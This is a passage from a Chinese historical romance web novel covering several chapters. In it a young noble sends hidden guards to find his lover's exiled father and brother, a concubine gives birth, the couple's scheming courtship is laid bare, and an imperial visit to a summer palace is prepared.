江清辞拉开书案下的抽屉,拿出一张调动他身边安慰的令牌。 云舒月按住他,难得的神情忧虑:“你把他们派走了,你怎么办呢?” 江清辞看着云舒月按住自己的手,心中涌起一股暖流,月儿真是长大了,会在意他了。 他轻轻拍了拍她的手:“没事,我身边还有别的护卫,我自己也会一些防身功夫,足以保我周全。” 云舒月仍皱眉,江清辞身边既然一直都有这些暗卫,那就说明他是需要他们的。 云舒月抬头望了望,却捉不到一个暗卫的影子。 “那好吧。” 云舒月想来想去,对江清辞表达担忧是真,但两者相比,她选父兄也是真。 江清辞抬起手,轻轻拭去她眼角将落未落的泪珠,瞧她,总能轻而易举的落泪,明明什么事情都还没有发生的。 江清辞拿起令牌,摩挲片刻,清朗的声音瞬间在屋内回荡开来:“传我令!” 云舒月鼻子一抽,止住了泪,满脸的惊讶与好奇。 话音刚落,只见屋内的烛火陡然摇曳了几下,原本安静的四周,隐隐传来细微的风声。 紧接着,一道黑影从房梁之上如鬼魅般飘落,单膝跪地,身姿笔挺,日光透过窗户洒在他身上,勾勒出冷峻的侧脸与精悍的身形。 几乎与此同时,窗户“唰”地一下被推开,另一个身着黑衣的身影从窗外漂染进来,同样单膝跪地,动作干净利落,不带一丝拖沓。 眨眼间,屋内便汇聚了数位暗卫,他们整齐划一地跪在江清辞面前,服饰皆为纯黑,材质特殊,在昏暗的屋内几乎融入和黑暗,唯有腰间佩戴的银色腰牌在微光下闪烁着冷冽的光,上面刻着独特的印记,彰显着他们身为江家暗卫的身份。 云舒月何曾见过这等场面,她深知,就算自己父亲还做着京里的户部尚书,她云家也是远比不上江家的。 她当时真是蠢到家了,怎会以为江家真是被流放了。 她往后退了两步,站到江清辞身后去,心里不光忐忑,还一边想着,攀附江家是对的,攀附江家是对的。 “少主!”为首的暗卫低声唤道,声音低沉而有力,透着绝对的忠诚与服从。 江清辞捏了捏云舒月的手心,叫她安心。 “即刻挑选十名精锐,日夜兼程赶往饶古镇,到了那里,不惜一切代价搜寻云明旭与云鸿祯二人下落。一旦找到,务必全力护他们周全,直到他们回来。” 说着,他将令牌递向为首的暗卫,为首的暗卫接过令牌:“少主放心,属下定不辱使命,不过,家主那边……” 江清辞眉眼一凛:“祖父已经将你们给了我,此时不必叫祖父直到。” “是。” 言罢,他微微侧身,向身后的暗卫们打了个手势,刹那间,他们身形一闪,如同一股黑色的旋风般迅速朝着屋外散去。 云舒月往窗外一看,只剩下窗外摇曳的树枝。 她久久回不过神来,江清辞转过身,看着她略显呆滞的模样,不禁轻声笑了笑:“吓到了?” 第65章 第65章目光缓缓从她脸上扫到她…… 云舒月摇摇头:“没,没呢。” 她心内极为震荡,不禁盘算起来,若是自己家没有被流放,好好发展,再有几代下去,才能有江家这般的势力?一个少主随随便便能召出这么多的暗卫。 江清辞轻轻将她揽入怀中,柔声道:“月儿,现在大可放心了,只要云伯父和云鸿祯有一线生机,他们定会将他们两个平安带回来。” 云舒月靠在他怀里,她安心了,怎么不安心呢。 她侧身去吻他,江清辞避开了。 “怎么了?” 云舒月收回吻,头往下埋了埋,她只是下意识想同他亲近,并无别的意思,可再仔细一想,现下的确并不适合亲吻。 饶古镇,自武将军下令各营奔逃后,原本有序的军队瞬间陷入混乱。 炊事营 是保障军队伙食供给的关键所在,却也因此成了敌军重点搜索的对象。 巧的是,这一整个营里都是些废物老男人,被人一追,可不疯狂乱跑嘛。 在奔逃过程中,一个扛着锅,一个扛着粮,转眼就四散逃开不见了。 云明旭也是跑着跑着,才发现自己脱离了大部队的,好在,他身上扛着的正是干粮,躲在山林里的这些日子,饿不着他。 他倒是没想着趁机直接跑了,炊事营里定有大批这样想的人,反正都跑出来了,何必再回去呢。 但云明旭不一样,他还有儿子在工兵营,还有女儿在牢城营,他不能跑。 武志远此时占据了一整个山坡,一路上除了炊事营以外,其余营都还保存完好。 他下令道:“就地休整。” “将军,炊事营找不回来,士兵们吃什么?” 武志远挥手叫来手下,打开山腰上被藤蔓封闭起来的山洞,里面堆满了粮食。 “这是我提早安置在这里的粮食,拿出来给他们吃饭,引走炊事营只是为了引走那些敌军,否则,我们又怎么能完完整整地行军到此地。” “将军英明。” 日子一天天过去,云舒月每天都在焦急等待,这天夜晚,忽然乌云密布,狂风呼啸,王姨娘的房间里传出云梓莹的大喊:“我姨娘要生了!” 云舒月一颗心猛地一紧,匆忙朝王姨娘房间奔去。 刚到门口,便听到王姨娘痛苦的呻吟声,那声音在呼啸风声的映衬下,显得愈发凄厉。 云舒月的目光从云千雁身上转了一圈,转到被吓得脸色铁青的云梓莹身上:“四妹,江清辞安排的稳婆和郎中就在医馆住着,你去叫她们过来。” 云梓莹不敢耽误片刻,冒着刚刚落下来的暴雨就跑出去了。 “王姨娘!”云舒月推门而入,只见屋内一片慌乱。 王姨娘面色惨白,额头上豆大的汗珠不断滚落,双手紧紧抓着床单,指节泛白。 云舒月强作镇定,快步走到床边,握住王姨娘的手,轻声安慰:“姨娘,别怕,我在这儿呢,稳婆马上就来。” 云舒月都不知道,自己的声音柔软得快化了。 她又扭头看向云千雁,厉声道:“还愣着做什么,快去烧水,再把干净的棉布准备好!” 云千雁这才回过神,被二姐一吼,跌跌撞撞地跑出去。 此时,一道闪电划破夜空,紧接着一声惊雷轰然响起,震得窗户框框作响。 云舒月一边用手帕为王姨娘擦拭额头的汗珠,一边在心中默默祈祷。 家中式微,千万不要再出什么事了。 王梅英费力张开眼,虚弱道:“我梦见,梦见你父亲,你父亲,出事了。” 云舒月直视着她,努力让自己的神情没有躲闪,父亲的事情,她没有对家里人说过。 她现在如果躲闪视线,王姨娘会出事的。 “王姨娘,放心吧,我父亲好着呢,前方已经传捷报回来了,等我父亲回来了,我叫他把你抬为贵妾,你生的孩子,以后也叫他与我哥哥一起读书,请大儒教导。” 这时候,林书柔进来了,她面露担忧:“怎么样了?” 一见着王姨娘这般模样,心也跟着揪起来。 到了牢城营以后,她不想像老爷说的那样,一定要妻是妻,妾是妾,在她看来,家都早不是家了,都是女人,合该相互照顾着些的。 林书柔将云舒月推出去:“你一个小孩子,别在这儿待着,回去睡觉。” 云舒月拗不过母亲,总之事情她也已经尽力了,王姨娘生产,关乎两条命,任何一个有良心的人都不会坐视不管。 等到云梓莹带着稳婆和郎中回来,云千雁也备好了生产所需的热水和棉布,云舒月在床边坐下,心稍稍安了些。 夜很长,云舒月从未经历过这样的事情,但她一瞬间感觉自己长大了好多好多。 她想不清自己为何会那般在意王姨娘和她的孩子,许是因为,王姨娘做的饭菜实在是太好吃了,她以后还想吃,要长长久久的吃。 她的思绪又转到父亲和哥哥身上,祈求他们一定要平安回来,不过自从江清辞当着她的面儿派了暗卫过去,她一颗心早就安了许多。 可她不禁又想起了江清辞,在不能承受失去家里任何一个人的基础上,她好像,也不能承受失去江清辞。 他身旁如今没有了暗卫,他还好吗? 直到一声清脆的婴儿啼哭声响起,云舒月长舒一口气,从床上起来,走进王姨娘的屋子。 屋内弥漫着一股混合着血腥与温暖的气息,稳婆正抱着婴儿,熟练地擦拭着孩子身上的黏液,小家伙挥舞着小拳头,脸蛋红扑扑的,哭声响亮而有力。 云舒月笑着心想:不像四妹,像她。 云舒月快步走到床边,为王姨娘掖了掖被角,林书柔看得欣慰又心疼,自己女儿会照顾人了,将来也会照顾自己的夫君,自己的孩子。 说起来,她很不舍女儿为人妻,为人母呢。 王姨娘已经虚弱得晕了过去,云舒月往她口中塞了参片。 “姨娘,你给我生了个弟弟,你真好。” 云舒月从不吝啬夸人,实际上,她现在就是需要一个三岁能读书,五岁能搬砖的弟弟。 这时,林书柔从稳婆手中接过婴儿,此时也动容得笑了起来,看着襁褓中的孩子,眼中满是慈爱:“这孩子生得真是俊俏,像他父亲。” 在这艰难的日子里,这个新生命的诞生,也许为家中带来了一些负担,但更像一丝曙光,给这个家带来了些许生机。 许是云家的灯烛亮了彻夜,江清辞深夜打着伞赶到了。 他一路匆匆,猜到了也许是云舒月提前向他打过招呼的云家姨娘生产一事,但他还是放心不下,想来看看她。 衣摆被雨水打湿,黏在腿上,寒意丝丝渗来,推开云家的门,屋内暖黄的烛火摇曳,与屋外风雨交加形成鲜明对比。 他的目光急切地在屋内搜寻,很快落在云舒月的身上。 只见云舒月坐在床边,身姿微微前倾,怀里稳稳抱着那个刚出生的孩子,面色因彻夜未眠而显得有些苍白,可双眼却明亮得惊人。 她低头凝视着怀中的婴儿,嘴角噙着一抹温柔的笑意。 也是奇怪了,她向来对家中庶弟妹没什么感情,有时还嫌他们碍眼,可对王姨娘新生出的小弟弟,她格外喜欢呢。 烛光洒在她身上,勾勒出一圈柔和的光晕,江清辞的心猛地一颤,被眼前这一幕深深触动。 他轻手轻脚走上前,生怕惊扰了她。 直到走到近前,云舒月才察觉到他,抬起头,柔声道:“你怎么来啦。” 江清辞收了伞,放在墙角,林书柔在王姨 娘的房间内照顾她,这个屋子里,便只有他们两人。 “我见你家彻夜亮着灯烛,不放心,便下来看看。” 江清辞一边说着,一边缓缓走到云舒月身旁,目光缓缓从她脸上扫到她怀中的婴儿身上,眼神里满是温和。 “这小家伙看着可真精神,倒是有些像你。” 云舒月嘴角微微上扬,她见他的第一眼,也觉得像自己呢。 在这之前,她的胞兄,一点也不像她。 云舒月轻轻点了点头,小心翼翼地调整了一下抱孩子的姿势,生怕弄疼了他。 调整好后,她抬起头,望向江清辞,眼神中带有一丝疲惫却难掩欣喜:“清辞哥哥,这次多亏有你了,若不是你提前替我家找来稳婆,我真不知该如何是好。” 江清辞在她身旁坐下,微微摇了摇头,伸出手轻轻摸了摸孩子的小脸蛋:“月儿待我,不必这么客气。” 他的声音低沉而温柔,云舒月看着他的侧脸,出了神。 不一会儿,小家伙在她怀里动了动,小嘴微微张开,发出一阵“咿咿呀呀”的声音,云舒月脸色一变:“呀,他该不会是想吃奶吧。” 江清辞道:“别抱了,赶快将他送回他姨娘那里去吧。” 云舒月连连点头,小心翼翼地站起身,脚步匆忙又带着几分笨拙。 推开王姨娘房间的门,又迅速合上,掀开两道帘子,一股暖烘烘且带着些许药味的气息扑面而来。 王姨娘醒过来了,母亲正在一旁喂她热茶,云梓莹在替她擦拭身子。 看到云舒月抱着孩子进来,她原本疲惫的眼神亮了亮,挣扎着想要起身。 林书柔按下她:“别急,躺着就行了。” 云舒月将孩子轻轻放在王姨娘的枕边:“姨娘,你快看看,他好像饿了。” 王姨娘熟练地解开衣襟,将孩子抱在胸前,小家伙瞬间安静下来,开始用力吮吸着乳汁。 惦记着江清辞还在自己屋里,云舒月没在此地多留,忙活了一整夜,也该好好睡一觉了。 云舒月打了个哈欠,困意袭来,江清辞弓着身子,已经将她的床铺整好了。 “清辞哥哥,外面雨大,你就在这儿歇一夜吧。” 两人脱了衣服,简单擦拭了一下身子,洗了两双脚,便双双钻了被窝。 云舒月侧身面向床里侧,拉过被子改在身上,江清辞也跟着躺下,手轻轻搭在她的腰上。 黑暗中,两人的呼吸声交织在一起。 云舒月猛然睁开眼,看到伏在她胸前的江清辞。 她迷迷糊糊间,感觉有一只温暖的手轻轻搭在自己的肩头。 他的声音很温柔,像一阵阵的春风,轻柔地抚慰着她的心,在这风雨交加的夜晚,给了她莫大的安全感。 她轻声应了一声,紧绷的身体渐渐放松,那些柔软又湿润的触感如潮水般将她淹没,她抱着他的头颅,轻轻哼着。 窗外,雨势越下越大,两道身影交叠被闪电打在白墙上,她将被子往上拉了拉,盖住了自己的肩头,然后垂头看他,他头枕在她的枕头上,目光甚是惬意。 第66章 第66章看他何时动情了,何时动…… 她的发丝一下一下扫过他的胸膛,他时而会掌着她的腰,黯淡烛光下,他双眸中的光皆被长睫掩藏,只是深情凝望云舒月时,那双眼眸中,爱意翻涌,浓得化不开,幽深得如同深夜的幽潭,能将人深深吸入其中。 云舒月手掌着他,时而看他浓密袖长的睫毛微微颤动,她很喜欢观察他的神色,看他何时动情了,何时动欲了,又是何时突然睁开眼紧紧盯着她,想要占据主动权了。 时而,他的眉毛犹如两弯新月,自然地舒展着,却又时而微微蹙起,然后望向她,唇角微勾,恰似春风拂过湖面,泛起层层温柔的涟漪。 她累了,瘫倒下来躺在他身边,江清辞伸手撩开她颊边一缕凌乱的发丝,指尖拭过她滚烫的脸颊,轻声问道:“月儿,你后悔吗?” 云舒月微微一怔,不懂他问的是何事,她做过太多的决定。 “我从未后悔过,与你在一起。” 良久,她答了这么一句。 话音刚落,窗外一道惊雷轰然炸响,震得窗户簌簌作响。 云舒月下意识地往江清辞怀里缩了缩,江清辞顺势将她搂得更紧。 “别怕,有我在。”他在她耳畔低语,温热的气息喷洒在她的脖颈,惹得她一阵轻颤。 二人在被窝里紧紧抱着,未着寸缕,是毫无遮挡的肌肤相贴。 一觉睡去。 云舒月醒来时,入目便是江清辞的面庞,晨光勾勒出他英挺的鼻梁、微抿的嘴唇,长睫在眼睑上投下淡淡的阴影。 她瞧着瞧着,嘴角不自觉上扬。 江清辞缓缓睁开眼,目光触及她时,瞬间盈满温柔:“月儿,早。”声音带着刚睡醒的沙哑,格外动听。 云舒月轻轻“嗯”了一声,往他怀里又蹭了蹭。 敲门声响起,是林书柔,“月儿,出来吃早饭了。” “哦!” 云舒月高声应了一声,她看向江清辞,不知现在该怎么办。 江清辞一掌揽过她的腰,将她锁在怀里,又揉捏了揉捏,温热的气息洒在云舒月耳畔,他轻轻吻她。 云舒月轻声道:“快起来吧,待会儿母亲要起疑了。” 她推开他,从床上钻出来一道光溜溜的身影,她走到衣架旁,开始穿衣服。 江清辞眸色暗了暗,她将他的衣服递给他:“待会儿我就说,你是一大早来找我的,母亲不会怀疑你什么。” 江清辞:“……”他明明也没做什么坏事。 衣裳穿了一半,他将她禁锢在自己怀里,敲门声再次响起,林书柔的声音里添了几分疑惑:“月儿,你在跟谁说话呢?” 云舒月从江清辞怀里挣脱,一边整理着衣衫:“哦,母亲,江清辞来了。” 她手忙脚乱穿好衣服,他慢慢悠悠套上外袍,云舒月看得心急。 便拉着他的腰,一把将人拽至身前,快速帮他系好衣带。 江清辞夸她:“夫人身手甚好。” 云舒月走到门口,打开门,挤出一个灿烂的笑容:“母亲,今日有什么好吃的?” 林书柔目光在她身上转了一圈,又看向江清辞,和颜悦色道:“江三公子来了啊,正好来尝尝我做的饼。” 三人道饭桌前坐下,云舒月看向桌上的饼,王姨娘还在卧床休养,母亲根本不会做饭,这饼是怎么做出来的? 正满心疑惑,林书柔已率先拿起一块饼,递到江清辞面前,笑意盈盈道:“江三公子,尝尝。” 江清辞忙起身双手接过:“伯母客气。” 说罢,轻咬一口,抿唇点头道:“好吃。” 林书柔嘴角上扬,转头看向云舒月:“月儿,你也快吃,凉了可就不好吃了。” 云舒月迟疑着拿起一块饼,放入口中,只觉干涩难咽,赶王姨娘的手艺差远了。 可母亲很少下厨,除了水煮菜以外,这是她能做出来的最好的东西了,云舒月不忍打击母亲。 林书柔却摸了摸她的头道:“母亲争取明日做得更好。” 云舒月抱着饼点头:“嗯嗯。” 吃完干涩难咽的早饭,江清辞要回丹奉台,云舒月要与母亲一起下地去。 云梓莹留在家中照顾王姨娘和弟弟。 柳姨娘和云千雁两个,一如既往地见不着她们人,许是又跑哪儿躲懒去了。 广袤且荒芜的山林里,云明旭拖着沉重的步子,艰难地在荆棘与碎石间蹒跚前行,昨夜的那一场暴雨,可将他折磨坏了。 他惦记着回归军队,一路上都在找寻大部队的踪迹,可他身上的干粮都快吃完了,还是没找到。 他就寻思,自己还是先躲在山林里,保命为上。 当他拐过一处山壁时,一阵细微的人声隐隐传来,云明旭心中一喜,正要出去,又转念一想,对方万一是敌军呢。 他瞬间警觉,立刻停下脚步,屏气敛息,缓缓靠近声音的来源。 透过层层枝叶的缝隙,他看到前方一块巨石旁,几个身着敌国服饰的士兵正围坐在一起,似乎在商讨着什么。 云明旭心猛地一紧,深知机会来了。 他本来还担心,自己找不回大部队,到时候被当成逃兵了怎么办,若能听得一些敌军机密,到时候呈报给武将军,说不定还能给他计一功。 于是,他更加小心翼翼地挪动脚步,不发出一点声响,随着距离的拉进,他终于听清了 他们的对话。 “那批从南疆运来的毒箭,可算是到了。” “这毒箭上的毒虽不是什么稀有奇毒,却只有南方特有的‘牛松草’可解毒,若不解毒,只需擦破点皮,就能让人连日高热不退,虽说无法致命,却也足够我们取胜了。” “嘿嘿,若是能有这么大批量的沾血就能致命的奇毒,咱们北凉国,还有什么杖打不赢?” 这时,一个看起来像是小头领的人皱了眉,道:“想的倒是美,都给我声音小点!这毒箭之事干系重大,要是泄露出去,咱们都得掉脑袋,还有,按照原定计划,咱们从侧翼迂回包抄……” 云明旭听到这里,只觉后背一阵发凉,对方真是好歹毒啊,竟然有这么阴险的招数。 要知道,他之前的那场高热,可是差些叫他丧了命! 然后,就在云明旭全神贯注准备赶紧撤退的时候,脚下一块松动的石头忽然滑落,“骨碌碌”地朝那几人的方向滚去。 那些士兵瞬间警觉,纷纷站起身来,手握武器,警惕地四处张望。 云明旭暗道不好,想要转身逃离,可慌乱之中,脚下一滑,整个人朝着陡峭的山坡栽了下去。 他下意识地伸手去抓身旁的树枝,企图稳住身形,可他实在生得肥,那树枝哪经得起他的重量。 “咔嚓”一声断裂,他的身体裹挟着泥土与碎石,一路翻滚而下。 云舒月闭着眼睛,心里害怕惨了,糟了糟了,完了完了,他不会就这么摔死了吧,好歹也让他被敌军杀死啊,这样他还不算白来一趟。 随着一声沉闷的撞击声,云明旭重重地拽在了山脚下的一块松软土地上。 双眼紧闭,脸上满是痛苦之色,脑袋里感觉有个盛满水的缸在晃,还好,还好不是很疼。 他摸了摸地面,是松软的土地,应是摔在什么田地上了。 可他没料到的是,从那山上又砸下来一块石头,正正好好砸在了他右小腿上,给他砸晕了。 山上的那些北凉国士兵搜寻了半日,也没看到有人。 “也许就是石块儿掉下去了,没人。” “那,计划还照常进行吗?” 头领道:“照常。” 丹奉台,江清辞今日接到了一份京中寄来的信。信封上的朱漆火印鲜明夺目,那是皇家专属的印记。 他拆开封印,展开信纸,修长的手指不自觉收紧。 信笺之上,笔墨工整,写着:“今岁暑气愈胜,太皇太后与太后圣意,将往黔州行宫避暑,届时一应事宜,当谨慎以待。 沿途供奉之物,皆不可有丝毫懈怠。且闻汝于彼处诸事顺遂,望能于皇室驾临时,彰显江家恭顺之心,莫负皇恩。 另有密事,待太后、太皇太后安顿后,自有专人与汝详谈。” 落款处,是皇上身边秉笔大太监的印章。 江清辞将信件反复读了,试图从字里行间捕捉更多深意,自己如今远离京城,各方势力的暗中博弈已经许久未参与。 不过他也不该多想,行宫修来,不就是给皇室住的吗,只是,怎的这次来的只有太皇太后与太后,当时催工期催得最紧的皇上却不来。 正思索间,窗外传来一阵清脆的鸟鸣声,江清辞望向窗外,山峦连绵,云雾缭绕,倒真是避暑胜地。 行宫规模宏大,亭台楼阁错落有致,园林景观皆由大师修缮设置。 江清辞沿着蜿蜒的石子路,依次查看了各个宫殿。 主店作为太后与太皇太后的起居之所,他尤为重视。 “务必仔细检查每一处门窗,确保开合顺畅。” “将帷幔全部撤下,换上崭新的。” 花园是重点整治区域,江清辞招来花匠:“换一些香气淡雅的花卉,比如芍药、茉莉一类。” 云舒月这时候正从山下上来找他,许久未听闻父亲的消息了,她每日必要来找他问一次的。 “清辞哥哥,你为何在行宫里?” 行宫修建好以后,除了必要的巡视以外,鲜少有人前来。 江清辞见着她,满心的烦恼都消散不见了,在他的心里,有事情两人总能一起面对,毕竟他们是夫妻。 “太皇太后与太后不日便要来此地避暑,圣上命我侍奉。” 第67章 第67章同床异梦 江清辞说着,朝她伸出手,要将她牵至身边。 云舒月闻言,眉头轻蹙,内心却有些雀跃。 变数向来让人烦恼,却又何尝不是事情的转折。 从前太后很喜欢她,可自家里流放以后,她常怀疑那是真的喜欢,还是假的喜欢。 可太后若是没那么喜欢她,以她老人家的身份地位,有必要装吗。 所以云舒月认为,太后大抵还是喜欢她的,只是抵不过皇上对她家的判决。 “皇室出行,向来阵仗极大,诸多规矩礼节,清辞哥哥,若有需要我帮忙的地方,尽管提。” 云舒月待他好客气,这是江清辞的第一感觉。 他朝她微笑:“好。” 他隐约感觉,他们二人,如今各怀心事,烦恼并不相通,而她私心里想着的,一定是认为他解决不了的。 同床异梦也不过如此。 他默默注视着她的后颈,试图理解她。 她想要什么? 要父兄平安归家,他已经尽全力帮她; 要重新回到京中,做受人艳羡的贵女,他已经许了她夫人的位置,她应当明白,总有一日能随他一同回去的; 要父亲官复原职吗? 江清辞垂眸,这个有些难度,官复原职不行,子承父业或许可以。 他便替她想想办法。 二人在行宫内漫步,勾着手,却没说一句话。 各怀心思。 看她时而蹙着眉,江清辞忽然想到,她想要的,该不会是不依靠他,就能重返京城吧。 她表面对他依赖至极,仔细想想,那些讨好,有时候很刻意。 他以为她至少是有点喜欢他的。 她是否还在一边寄托于依赖他,一边从来没有停止过筹谋别的出路。 就像是之前突然去了夜郎国一样。 江清辞对这个推论并不感到生气,只是有些无力。 她就像只细线牵着的风筝,好像随时在提醒他,她或许下一刻就会飞走。 此时,一阵微风拂过,吹落了枝头的几片花瓣,江清辞下意识抬手,从她头上捡去花瓣。 “太后来了之后,她或许能带你走。” 江清辞轻声说着。 云舒月一怔,侧头看他,他怎么知道她在想什么? “反正都是寄托于人,何不安心依靠我呢?” 他继续说道。 云舒月暗自心惊,江清辞何时将话说得这样直白过? 他面上没什么表情,薄唇紧紧抿着。 他想,从一开始他就错了,与她不该谈感情的,谈感情会输得很惨。 他指的不是输给她,而是输给诸如谢琅、太后,一类能给她带来别的选择的人。 他继续说道:“谢琅已经坐上太子之位,我今早刚收到的消息,不过我也可以再把他拉下来。” “太后最多能把你带回京做个侍奉女官,虽然自由,却没地位,那些贵女还是会嘲讽你。” “太皇太后年纪大了,虽然也曾夸过你的画,却没有精力带走你,或是改变你的处境。” 云舒月怔怔看着他,视线有些躲闪,她下意识想装傻。 “谢琅做了太子,那苏樱怎么办?” 人家本来是太子侧妃,现在成什么了? 江清辞道:“苏樱从太子侧妃变成了世子正妃,已经有孕五月了。” 云舒月未曾听闻过这些消息,如果他不说的话。 她忽然意识到,只要她身处这个牢城营,所有事情,还就只能指望他。 其余道路便都是摸不清的冒险。 江清辞一边观察她,一边思忖,想来自己这么说是有用的,她一番权衡之后,便会选择好好做他的夫人了。 他不再说什么要 她相信他,他的真心日月可鉴的话,既是谈利弊,那就只谈利弊好了。 他紧接着道:“祖父身体渐弱,家中仍无曾长孙出世,月儿,你可愿帮我争一争这个家主之位?” 云舒月张了张嘴,他说出口的话,实在叫人动心。 有了曾长孙,他做家主,她做家主夫人。 那日那些身手矫健的暗卫,便全都听他们吩咐。 更何况还有许多她未曾得知的江家势力。 江家“流放”至此,能在山林里有一座那样隐秘又精巧的宅院。 云舒月很难不心动,一开始本就是想着指望他的,他难道不比其他人靠谱吗? 只是她始终留着退路,江清辞想要她放弃退路,云舒月很容易想到他的目的。 他有私心,有了孩子,那根风筝线至少会变得结实一点,她也能歇一歇别的心思。 “清辞哥哥,无论如何,也要等我父兄归家时再说。” 云舒月权衡了一番,按照江清辞如今对她的情意,她估计着,她还能钓住他一阵子。 若是江清辞突然变心了,或是受家族之迫要娶别人了,云舒月自然不是现在这副模样,她会马不停蹄地承认自己与他的婚书,更会不择手段地先怀上他的孩子。 当然了,按照云舒月现在的推断,这些事情几乎是不可能发生的,那她就还能再拖延一阵子,尽量为自己争取更多的筹码。 听她这样说,仍不松口,江清辞微笑着道:“月儿,你了解太后喜好,这行宫的布置,便劳烦你替我费心了。” 他便让她去讨太后的欢心吧,她会发现这条路走到头,也不及他开出条件的一半。 云舒月冷冷想到,自己反正早被他看穿了,他还乐意跟她好,这让她更加有恃无恐。 可她转念又想,自己从小就琢磨他,手拿把掐了这么多年,现在的结果是她应得的。 江清辞哪有她想的那么多,他只是不想她哪天随便又把他甩了而已。 上次甩他,他是真伤心呐,心凉得很透。 他都已经暗自发誓再不理会她了,可她又勾着他诱着他,叫他心疼她。 他后来就觉得,这样也挺好,她最初想要的无非就是在牢城营生活得好一些,他举手之劳而已。 可后来,她又说她要做首辅夫人,可他,可他还心存芥蒂,并不能完全接纳她。 再后来,他忍不住了,便是知道是火坑也要往里跳。 再到现在,他想要的更多了,他不要来去自如的她,他要彻底离不开他的她。 他们两人,就这么高高兴兴地,互相依偎着,过一辈子不好吗? 人生的变故随时有可能会出现,难道一出现变故,就首先选择抛弃对方是对的吗? 人还是要讲点感情的吧,云舒月。 她那晚还说她爱他呢。 就在这里,就是这个偏殿里,她趴在桌案上说的。 “月儿,你看这些花,可符合太后喜好?” 江清辞的声音将云舒月拉回先是,她抬眸,只见偏殿内已摆满了各种花卉。 云舒月缓缓踱步其间,指尖轻轻抚过花瓣,她突然没了心情。 “清辞哥哥,我父亲和哥哥那边,有消息传来吗?” 江清辞摇头:“还没,不过应该快了,你今晚可去我书房等着,今晚应该会到信。” 云舒月又道:“太后喜欢明黄与朱红,而太皇太后喜欢宝蓝与翠绿。” “太后是极好说话的一个人,我往常与她相处的时候,她待我很和善。” 江清辞微微笑着道:“月儿本就是讨人喜爱的小姑娘,太后喜欢你是理所应当的事情。” 他看到云舒月盯着角落里的一只瑞兽玉雕陷入了沉思。 云舒月将行宫里将要供太后与太皇太后居住的宫殿大致重新布置了一下,还留了一些细节,这些细节太后一看,便知道是云舒月做的。 比如,窗户上额外挂上去的轻薄纱帘,书架上诸多古籍中唯独包了真丝锦缎做书皮的《诗经》…… 这些布置,算是江清辞给云舒月开的后门了,到时不需要他专门提及,太后自会想起,这地方还有一个云二姑娘。 傍晚,云舒月跟江清辞手牵着手回了丹奉台,吃完饭后,她跟着他坐在书房里,安心等待父亲的消息。 期间两人还下了一盘棋。 云舒月执白棋,落子格外专注,每一步都深思熟虑。 一局终了,江清辞以微弱优势获胜。 云舒月也并不恼,也不想从前那样,总要赖皮两下。 下不过就是下不过,她于棋之一道上钻研得不多。 不过还是要说两句酸话的:“月儿扛着锄头下地时,清辞哥哥在抱着棋谱钻研,真是刻苦极了。” 意思就是江清辞赢是因为偷偷用功了。 江清辞莞尔一笑,眼中满是温柔:“你说得正是。” 一边笑着,他从书架上取下一本棋谱,递给她:“我不藏私,你也拿去看。” 云舒月不想接过,他偷偷学了,她也偷偷学,学完还下不过他怎么办,那不是更丢脸了。 可丢脸归丢脸,不学白不学,正好如今她们诗社里缺一本棋谱,正用得着。 门缓缓打开,一名家仆神色匆匆地走进来,手中捧着一封用火漆封印的信件。 “公子,北方来信。” 家仆双手呈上信件。 云舒月站起身,目光快要将那卷信洞穿。 “可是我父兄的消息?” 江清辞接过信,两根指头迅速撕开蜡封。 云舒月也跟着凑过去。 “找到云鸿祯了,他还好好待在军营里,跟着武将军的大部队行动。” “那我父亲呢?” 江清辞神色凝重:“暂无消息,还没能找到他的踪迹,你放心,潘黄正在整座山搜寻他,现在还没找到是时间还不够的原因,不是因为别的。” “潘黄?” “潘黄是暗卫中极擅飞檐走壁的一个,没有他找不到的角落。” 云舒月松了口气:“总之活要见人才算。” 至少也没有什么不好的消息。 “那我哥哥在军营里可安全?” “信上说,他还在工兵营待着,尚未正面迎敌。” 总之,如今既无好消息,也无坏消息。 云舒月什么也做不了,索性安心在江清辞这里住下了,好及时得知消息。 江清辞怕她无聊,也怕她没事干瞎想,将库房里闲置了许久的琴搬出来给她玩。 “月儿,你许久未抚琴了,今日不妨弹上一首。” 云舒月的双手尚且还能作画,可琴……她实在是许久未碰。 可她又想到,太后往常喜欢听她抚琴,这次来了说不定又叫她抚琴。 云舒月手刚往琴上放去,触及琴弦的一刹那,又收了回来。 “我讨厌抚琴,你将它搬走。” 江清辞掌住她的肩,耐心问道:“怎么了?月儿从前不是最爱抚琴了吗?” 不过与此同时,他招招手,叫来家仆将琴搬走。 云舒月突然记起了久远的技艺,她记得从一开始,她是不爱弹琴的。 可江清辞擅抚琴,她为了能与他谈论音律,这才学了弹琴。 云舒月心想,江清辞不是能看穿她么。 她仰头对他道:“你知道我为何要学琴吗?” 第68章 第68章二人欢好时,她的神态不…… 江清辞微微一怔,脑海中迅速回溯过往,他直视云舒月的眉眼,眼神里闪过一丝恍然。 “你今后都不必再喜欢弹琴了,你还喜欢什 么,不喜欢什么?“何不一次性都说出来。 云舒月摇摇头,不说,她偏要他猜。 “你喜欢我吗?”他问,心有些冷。 二人欢好时,她的神态不似作假,若那件事情也是装的,江清辞实在不知该说什么好。 云舒月张开双臂抱住他的腰,脸颊贴在他腹部,他站着,她坐着。 他手臂往两边垂下,不敢做出多余动作,他甚至不知她这个动作是真是假。 云舒月头在他身上蹭了蹭,眼底闪过一道温和的光,她喜欢他是真的。 云舒月调皮得很,可也是真的动心了,否则,她不会跟他说实话,会就像以前那样,继续装作喜欢弹琴就好了。 又不难装。 她其实也没面上表现出来那么讨厌琴,她只是突然想任性了而已。 云舒月双臂紧了紧,勒着江清辞的腰,江清辞反复告诉自己,这不是讨好,是真情实感。 月儿好爱他的。 云舒月抬眸看他,忽地狡黠一笑:“清辞哥哥,我决定把所有你蒙在鼓里的事情都告诉你。” 她难得这么真诚一回,要她自己说,是因为她真的动心了。 可江清辞还是将信未信,有些迟疑,不懂这是否又是她的新招数。 不过没关系,他都接招便是,月儿就是月儿嘛,她就是她自己,管她喜欢弹琴还是不喜欢,又不会影响他爱她。 云舒月笑得眯起眼,熟悉她的人都知道,这是恶作剧的前奏。 “你知道我们初见的那天,你经过我家的时间是我与父亲一同计算的吗?” “你知道有次在溪边我是蹲在你身下,然后朝你呼气的吗?又假装后仰,不得不拉住了你的腰带。” “你知道我的手帕是故意飞到你脸上的吗?顺便,那上面还洒了我身上独有的香。” 好叫他每一次见到她,都能重复回忆起那股香。 “你知道我每次不小心撞到你怀里时,会提前计算好多遍步数吗?” 如果对一个人产生的感情,是因为一环套一环的圈套,那么那些感情可还作数? 